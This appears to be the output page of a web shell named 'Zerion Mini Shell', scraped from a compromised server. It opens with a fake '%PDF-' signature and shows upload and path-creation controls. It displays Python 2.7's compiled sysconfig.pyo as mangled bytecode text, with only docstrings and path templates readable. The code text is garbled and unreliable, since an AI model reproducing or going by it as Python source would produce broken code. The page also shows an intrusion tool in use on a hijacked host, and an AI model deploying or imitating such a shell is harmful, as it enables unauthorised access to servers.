%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/local/lib/python2.7/
Upload File :
Create Path :
Current File : //usr/local/lib/python2.7/sysconfig.pyo


Mac@sdZddlZddlZddlmZmZiidd6dd6dd	6d
d6dd
6dd6dd6dd6d6idd6dd6dd	6dd6dd
6dd6dd6dd6d6idd6dd6dd	6dd6dd
6dd6dd6dd6d6idd6dd6dd	6dd6dd
6dd6dd6dd6d6idd6dd6dd	6dd6d d
6d!d6d"d6d#6id$d6d$d6d%d	6d%d6d&d
6d'd6d"d6d(6idd6dd6dd	6dd6d d
6d!d6d"d6d)6id*d6d*d6d+d	6d+d6d,d
6d!d6d"d6d-6ZdVZejj	d.Z
ejd/ Ze
d.e
d0Zej
jejZej
jejZdadZd1Zejrej
jeejZneejZejdkr	d2ed3jkr	eej
jeeZnejdkrOd4ed5jkrOeej
jeeeZnejdkrej
jej
jej
jejd6krej
jej
jejd7kreej
jeeeeZnejdkr(d8ed9jkr(eej
jeeeZnd:ejkrXej
jej
j d;Znd<Z!e!Z"e"rx-dWD]"Z#d=ee#d
<d>ee#d<qwWnd?Z$d@Z%dAZ&dBZ'dCZ(ddDZ)dEZ*e*Z+dFZ,dGZ-dHZ.ddIZ/dJZ0dKZ1dLZ2e'de3dMZ4e'de3dNZ5dOZ6dPZ7dQZ8dRZ9dSZ:dTZ;e<dUkre;ndS(Xs7Provide access to Python's configuration information.

iN(tpardirtrealpaths#{base}/lib/python{py_version_short}tstdlibs'{platbase}/lib/python{py_version_short}t
platstdlibs1{base}/lib/python{py_version_short}/site-packagestpurelibs5{platbase}/lib/python{py_version_short}/site-packagestplatlibs'{base}/include/python{py_version_short}tincludes+{platbase}/include/python{py_version_short}tplatincludes
{base}/bintscriptss{base}tdatatposix_prefixs{base}/lib/pythons{base}/include/pythont
posix_homes
{base}/Libs{base}/Lib/site-packagess{base}/Includes{base}/Scriptstnttos2s'{userbase}/lib/python{py_version_short}s5{userbase}/lib/python{py_version_short}/site-packagess+{userbase}/include/python{py_version_short}s{userbase}/bins
{userbase}tos2_homes#{userbase}/Python{py_version_nodot}s1{userbase}/Python{py_version_nodot}/site-packagess+{userbase}/Python{py_version_nodot}/Includes{userbase}/Scriptstnt_usert
posix_users{userbase}/lib/pythons#{userbase}/lib/python/site-packagess{userbase}/includetosx_framework_useriiicCs'yt|SWntk
r"|SXdS(N(RtOSError(tpath((s%/usr/local/lib/python2.7/sysconfig.pyt_safe_realpathas
tpcbuildis\pc\vitpcsvs9.0s\pcbuild\amd64it_PYTHON_PROJECT_BASEt.cCs=x6dD].}tjjtjjtd|rtSqWtS(Ns
Setup.distsSetup.localtModules(s
Setup.distsSetup.local(tosRtisfiletjoint
_PROJECT_BASEtTruetFalse(tfn((s%/usr/local/lib/python2.7/sysconfig.pytis_python_builds
$s{projectbase}/Includes{srcdir}cCscy|j|SWnKtk
r^y|jtjSWq_tk
rZ}td|q_XnXdS(Ns{%s}(tformattKeyErrorRtenvirontAttributeError(tst
local_varstvar((s%/usr/local/lib/python2.7/sysconfig.pyt_subst_varss
cCsI|j}x6|jD](\}}||kr7qn|||<qWdS(N(tkeystitems(ttarget_dictt
other_dictttarget_keystkeytvalue((s%/usr/local/lib/python2.7/sysconfig.pyt_extend_dicts
cCsi}|dkri}nt|txat|jD]O\}}tjdkrltjj|}ntjj	t
||||<q<W|S(NtposixR(R2R(tNoneR1tget_config_varst_INSTALL_SCHEMESR+RtnameRt
expandusertnormpathR)(tschemetvarstresR/R0((s%/usr/local/lib/python2.7/sysconfig.pyt_expand_varss	#cCstjdkrdStjS(NR2R
(RR6(((s%/usr/local/lib/python2.7/sysconfig.pyt_get_default_schemescCstjjdd}d}tjdkr\tjjdpBd}|rO|S||dStjdkrtd}|r|r|S|dd	|d
tjd Sn|r|S|ddS(
NtPYTHONUSERBASEcWstjjtjj|S(N(RRR7R(targs((s%/usr/local/lib/python2.7/sysconfig.pytjoinusersRtAPPDATAt~tPythontdarwintPYTHONFRAMEWORKtLibrarys%d.%dis.local(	RR$tgetR3R6tsystplatformtget_config_vartversion_info(tenv_baseR@tbaset	framework((s%/usr/local/lib/python2.7/sysconfig.pyt_getuserbases	
cCsddl}|jd}|jd}|jd}|dkrNi}ni}i}t|}|j}	WdQXx|	D]}
|
jds|
jdkrqn|j|
}|r|jdd	\}}
|
j}
|
j	d
d}d|kr|
||<qZyt
|
}
Wn'tk
rL|
j	d
d||<qZX|
||<qqWx^|rxQ|jD]C}||}|j
|p|j
|}|r|jd}t}||krt||}nB||krt}n-|tjkrtj|}nd||<}|r||j}||j ||}d|kre|||<qyt
|}Wn!tk
r|j||<nX|||<||=qqt||=qtWqaWx<|jD].\}}
t|
tr|
j||<qqW|j||S(sParse a Makefile-style file.

    A dictionary containing name/value pairs is returned.  If an
    optional dictionary is passed in as the second argument, it is
    used instead of a new dictionary.
    iNs"([a-zA-Z][a-zA-Z0-9_]+)\s*=\s*(.*)s\$\(([A-Za-z][A-Za-z0-9_]*)\)s\${([A-Za-z][A-Za-z0-9_]*)}t#tiis$$t$(tretcompileR3topent	readlinest
startswithtstriptmatchtgrouptreplacetintt
ValueErrorR*tsearchRtstrRRR$tendtstartR+t
isinstancetupdate(tfilenameR:RSt_variable_rxt_findvar1_rxt_findvar2_rxtdonetnotdonetftlinestlinetmtntvttmpvR6R0tfoundtitemtaftertk((s%/usr/local/lib/python2.7/sysconfig.pyt_parse_makefilesp	
!

	
	




cCs5trtjjtdStjjtdddS(s Return the path of the Makefile.tMakefileRtconfig(t
_PYTHON_BUILDRRRRtget_path(((s%/usr/local/lib/python2.7/sysconfig.pytget_makefile_filenamesc	Cs;ddl}i}t}yt||WnLtk
rz}d|}t|drk|d|j}nt|nXt}y&t|}t||WdQXWnLtk
r}d|}t|dr|d|j}nt|nXt	r|d|d<nd}d	t
jkrYddl}|j
|}	||	_|	t
j|<nd
tt
jd f}
tt
dr|
d
7}
nytj|
Wntk
rnXtjj|
|d}t|d4}|jd|jd|j|d|WdQXtdd}|j|
WdQXdS(s;Generate the Python module containing build-time variables.iNs.invalid Python installation: unable to open %ststrerrors (%s)t	BLDSHAREDtLDSHAREDt_sysconfigdataRDsbuild/lib.%s-%sitgettotalrefcounts-pydebugs.pytwbsB# system configuration generated and used by the sysconfig module
sbuild_time_vars = tstreamspybuilddir.txttw(tpprintRzRutIOErrorthasattrR{tget_config_h_filenameRUtparse_config_hRxRHRItimpt
new_moduletbuild_time_varstmodulestget_platformtversionRtmakedirsRRRtwrite(RR:tmakefiletetmsgtconfig_hRjR6Rtmodulet
pybuilddirtdestfile((s%/usr/local/lib/python2.7/sysconfig.pyt_generate_posix_vars"sR	
	

	



cCs!ddlm}|j|dS(s7Initialize the module as appropriate for POSIX systems.i(RN(R~RRc(R:R((s%/usr/local/lib/python2.7/sysconfig.pyt_init_posixfscCsqtd|d<td|d<td|d<d|d<d	|d
<t|d<tjjttj|d<d
S(s+Initialize the module as appropriate for NTRtLIBDESTRt
BINLIBDESTRt	INCLUDEPYs.pydtSOs.exetEXEtVERSIONtBINDIRN(Ryt_PY_VERSION_SHORT_NO_DOTRRtdirnameRRHt
executable(R:((s%/usr/local/lib/python2.7/sysconfig.pyt_init_non_posixls


c	Csddl}|dkr!i}n|jd}|jd}xtr|j}|s^Pn|j|}|r|jdd\}}yt|}Wntk
rnX|||<qB|j|}|rBd||jd<qBqBW|S(sParse a config.h-style file.

    A dictionary containing name/value pairs is returned.  If an
    optional dictionary is passed in as the second argument, it is
    used instead of a new dictionary.
    iNs"#define ([A-Z][A-Za-z0-9_]+) (.*)
s&/[*] #undef ([A-Z][A-Za-z0-9_]+) [*]/
iii(	RSR3RTRtreadlineRYRZR\R](	tfpR:RSt	define_rxtundef_rxRlRmRnRo((s%/usr/local/lib/python2.7/sysconfig.pyR|s*		

cCsUtr6tjdkr-tjjtd}qBt}ntd}tjj|dS(sReturns the path of pyconfig.h.RtPCRs
pyconfig.h(RxRR6RRRRy(tinc_dir((s%/usr/local/lib/python2.7/sysconfig.pyRs	cCs tj}|jt|S(s-Returns a tuple containing the schemes names.(R5R*tsortttuple(tschemes((s%/usr/local/lib/python2.7/sysconfig.pytget_scheme_namess
cCstS(s+Returns a tuple containing the paths names.(t_SCHEME_KEYS(((s%/usr/local/lib/python2.7/sysconfig.pytget_path_namesscCs|rt||St|SdS(sReturns a mapping containing an install scheme.

    ``scheme`` is the install scheme name. If not provided, it will
    return the default scheme for the current platform.
    N(R<R5(R9R:texpand((s%/usr/local/lib/python2.7/sysconfig.pyt	get_pathss
cCst||||S(s\Returns a path corresponding to the scheme.

    ``scheme`` is the install scheme name.
    (R(R6R9R:R((s%/usr/local/lib/python2.7/sysconfig.pyRyscGsddl}tdkriattd<ttd<ttd<ttd<tdtdtd	<ttd
<ttd<ttd<tj	dkrt
tntj	dkrttnttd<dtkrttd<nt
rutj	dkrut}ytj}Wntk
rd}nXtjjtdru||krutjj|td}tjj|td<quntjdkrddl}|jtqn|rg}x$|D]}|jtj|qW|StSdS(syWith no arguments, return a dictionary of all configuration
    variables relevant for the current platform.

    On Unix, this means every variable defined in Python's installed Makefile;
    On Windows and Mac OS it's a much smaller set.

    With arguments, return a list of values that result from looking up
    each argument in the configuration variable dictionary.
    iNtprefixtexec_prefixt
py_versiontpy_version_shortiitpy_version_nodotRMtplatbasetprojectbaseRR
R2tuserbasetsrcdirRD(RR
(RSt_CONFIG_VARSR3t_PREFIXt_EXEC_PREFIXt_PY_VERSIONt_PY_VERSION_SHORTRRR6RRRORxtgetcwdRRtisabsRR8RHRIt_osx_supporttcustomize_config_varstappendRG(R?RSRMtcwdRRtvalsR6((s%/usr/local/lib/python2.7/sysconfig.pyR4sJ














cCstj|S(sReturn the value of a single variable using the dictionary returned by
    'get_config_vars()'.

    Equivalent to get_config_vars().get(name)
    (R4RG(R6((s%/usr/local/lib/python2.7/sysconfig.pyRJscCsddl}tjdkrd}tjj|}|dkrFtjStjjd|}tj|t||!j}|dkrdS|dkrd	StjSd
tj	krtj	d
Stjdkst
tdrtjStj\}}}}}	|jjd
d}|	jdd}	|	jd
d}	|d dkrWd||	fS|d dkr|ddkrd}dt
|dd|df}idd6dd6}
|	d |
tj7}	qn|d! d"krd||fS|d d#kr
d$|||fS|d% d&krYd&}|jd'}|j|}|r|j}qnC|d% d(krddl}
|
jt|||	\}}}	nd)|||	fS(*sReturn a string that identifies the current platform.

    This is used mainly to distinguish platform-specific build directories and
    platform-specific built distributions.  Typically includes the OS name
    and version and the architecture (as supplied by 'os.uname()'),
    although the exact information included depends on the OS; eg. for IRIX
    the architecture isn't particularly important (IRIX only runs on SGI
    hardware), but for Linux the kernel version isn't particularly
    important.

    Examples of returned values:
       linux-i586
       linux-alpha (?)
       solaris-2.6-sun4u
       irix-5.3
       irix64-6.2

    Windows will return one of:
       win-amd64 (64bit Windows on AMD64 (aka x86_64, Intel64, EM64T, etc)
       win-ia64 (64bit Windows on Itanium)
       win32 (all others - specifically, sys.platform is returned)

    For other non-POSIX platforms, currently just returns 'sys.platform'.
    iNRs bit (t)tamd64s	win-amd64titaniumswin-ia64t_PYTHON_HOST_PLATFORMR2tunamet/RQt t_t-itlinuxs%s-%stsunosit5tsolariss%d.%siit32bitit64bitIs.%sitirixtaixs%s-%s.%sitcygwins[\d.]+RDs%s-%s-%s(RSRR6RHRtfindRItlentlowerR$RRR[R\tmaxintRTRYRZRtget_platform_osxR4(RSRtitjtlooktosnamethosttreleaseRtmachinetbitnesstrel_reRmR((s%/usr/local/lib/python2.7/sysconfig.pyRsZ "cCstS(N(R(((s%/usr/local/lib/python2.7/sysconfig.pytget_python_versionkscCsZxStt|jD]9\}\}}|dkrCd|GHnd||fGHqWdS(Nis%s: s
	%s = "%s"(t	enumeratetsortedR+(ttitleR	tindexR/R0((s%/usr/local/lib/python2.7/sysconfig.pyt_print_dictos+cCsddtjkrtdSdtGHdtGHdtGHHtdtHtdtdS(s*Display all information sysconfig detains.s--generate-posix-varsNsPlatform: "%s"sPython version: "%s"s!Current installation scheme: "%s"tPathst	Variables(	RHtargvRRRR=RRR4(((s%/usr/local/lib/python2.7/sysconfig.pyt_mainvst__main__(RRRRRRR	(R
R(=t__doc__RHRtos.pathRRR5RRtsplitRRRRR8RRRRR3Rt
_USER_BASERRRRRR6RRtbasenameR$tabspathR!RxR9R)R1R<R=RORuRzt_get_makefile_filenameRRRRRRRRRRyR4RJRRRRt__name__(((s%/usr/local/lib/python2.7/sysconfig.pyt<module>s
		%%!6*$%!!		
						V		D						G		\			

Zerion Mini Shell 1.0